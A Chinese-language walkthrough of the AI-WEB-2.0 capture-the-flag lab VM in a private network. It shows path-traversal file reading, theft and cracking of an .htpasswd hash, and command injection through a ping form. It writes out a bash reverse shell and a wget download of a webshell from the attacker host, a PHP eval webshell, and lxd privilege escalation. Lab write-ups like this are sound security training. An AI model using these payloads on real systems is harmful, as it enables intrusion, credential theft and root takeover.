AI-WEB-2.0打靶记录
靶场环境
局域网网段:192.168.111.0/24
攻击机 kali:192.168.111.128/24
目标机 AI-WEB-2.0:192.168.111.130/24
打靶目标
获得靶机的ROOT权限,拿到唯一的flag
信息收集
因为是在同一网段,所以直接扫描存活主机,用nmap或者arp-scan都可以
其他两个IP为主机和kali机,所以目标机的ip为192.168.111.130,
端口开放了80和22端口,分别是web和ssh远程登录服务,那么就从web服务入手
游览器访问该网站的web服务,网站做的很简洁,就是一个登录注册的功能,而且也没有过多的js文件和有用的注释
随便注册一个,登录进去,然而登录进去之后就是一个静态页面,没有特定功能,有点难办啊
找不到什么有用的信息,那么就扫一下目录
唯一可能有用的东西就是download.php了,但是访问是空白页面
web渗透
在此之前做了一些尝试,比如登录页或者注册页可能会存在sql注入
但是实际上防御的非常严格,注册页的登录框过滤了字符,应该是找不到sql注入的点的,我甚至有点怀疑这个php的站后端是用json来储存用户数据的。
任意文件读取
无奈,又去翻了翻源代码
唯一的注释让我有点在意,于是就去github上搜这个作者的名字,碰碰运气。看能不能找到源码,(虽然希望不大,但是也是一种思路)
也算是歪打正着,不过不是查到了源码
它的这个Filesharing项目中也有download.php,能够任意文件读取,那么猜想本站中的download.php文件中的参数是不是也是这个file_name,会不会页存在任意文件读取
结果试了试,假设成立
下一步就读取源码了,不过这里有个小坑,download.php文件的后端代码好像不处理相对路径,所以只能用绝对路径来下载本站的源码
/download.php?file_name=../../../../../../../../../var/www/html/index.php |
把源码都下载下来,分析一下代码
随意看看代码,果然不是用sql的,印证的我的猜想
注册的用户名就存储在这个文件中,看了一会,确定没有什么可以拿shell的地方
思绪又回到文件读取,仔细看网站,好像就是Filesharing项目,刚才怎么没仔细看,怪不得也是那个参数
其实刚扫目录的时候扫了一堆401
当客户端向服务器发送请求时,服务器可能需要对客户端进行身份验证,以确保客户端有权访问所请求的资源。如果服务器收到一个未经授权的请求,它会返回HTTP 401状态码,提示客户端需要提供有效的凭据来访问所请求的资源 |
看样子是使用账号密码认证
本站是一个apache服务器搭建的,apache通常会有一个认证文件
Apache的认证文件用于实施基于HTTP认证的安全性措施,以确保只有经过授权的用户可以访问特定的资源、目录或网页。这种认证通常使用HTTP Basic Authentication或其他身份验证方法。 |
利用这个文件读取漏洞来下载这个认证文件
网上查了查认证文件的路径,有三种常见的储存位置,在外部根目录之外的路径为 /etc/apache2/.htpasswd
果然存储着账号密码,密码是hash加密了的,用john爆破一下
成功爆破出密码
访问 /webadmin/admin.php登录凭证
在robots.txt文件中有两个目录,访问第一个
是一个ping,根据做ctf的经验,肯定就是一个RCE了
命令执行
先ping一下127.0.0.1测试功能是否完整
我既然能读源码了,就不用一个个试,看过滤了哪些字符,直接白盒审计
黑名单如上,使用 shell_exec 函数来执行ping命令
这个黑名单要仔细看,
将 | 和空格替换为空,有点坑啊,要眼神不好就发现不了,那么管道符就可以来绕过了
执行命令
127.0.0.1|whoami |
kali开启8787端口监听,反弹shell到我的kali机上
bash -i >& /dev/tcp/192.168.111.128/8787 0>&1 |
很奇怪没反弹成功,都能ping了,不应该不出网的啊,那就写马吧
127.0.0.1|echo "<?php eval($_POST[1]);?>">1.php |
写是写上去了,但是执行命令没反应,下载文件看看
很离谱,过滤了关键字,(),$,那函数都写不进去了啊
再试试wget远程下马吧
kali机写一个马,用python开一个web服务
wget远程下载木马,payload:
127.0.0.1|wget http://192.168.111.128:8787/shell.php |
奈斯,接下来就用蚁剑连接吧
报红。。。猜测可能需要401认证,利用这个木马来反弹shell也没反应
继续收集信息,看一下上一级目录有什么文件
还有一个 S0mextras 目录没有去看
莫非存在ssh远程登录的账号密码?cat看一下
是有的,远程登录ssh
ssh n0nr00tuser@192.168.111.130 |
OK,终于有目标机器的交互式shell了
Linux提权
输入 sudo -l 看看有没有sudo滥用的情况,尝试用有root权限的命令来提权
很明显没有,那就换一种思路,找找内核漏洞
输入 uname -a 查看操作系统相关信息
比较新,网上搜了搜好像没有相关的漏洞提权脚本
再尝试用suid提权思路,输入命令
find / -perm -u=s -type f 2>/dev/null |
可以尝试一下这个文件
lxc是一种轻量级的虚拟化技术,用于在单个Linux主机上创建和管理多个隔离的容器。容器是一种虚拟化形式,允许你在同一物理主机上运行多个独立的操作系统实例,但它们共享主机操作系统的内核,从而减少了资源开销和提高了性能。 |
lxc提权的原理大致就是用户创建一个容器,再用容器挂载宿主机的磁盘,然后用容器的权限去操作宿主机磁盘内容从而达到提权 |
漏洞库搜索相关脚本
把脚本复制到当前目录,并且要编辑 输入 :set ff=unix,不然运行会报语法错误,运行脚本还需要在github上下载一个文件
就是这个gz压缩包,kali开启web服务,把者两个文件下载到目标机器的tmp目录下,因为tmp目录通常是给足了权限的
给sh脚本添加执行权限,执行该脚本
./46978.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz |
提权成功,找flag,在/mnt/root/root目录下
成功找到flag。
打靶感悟:信息收集尤为重要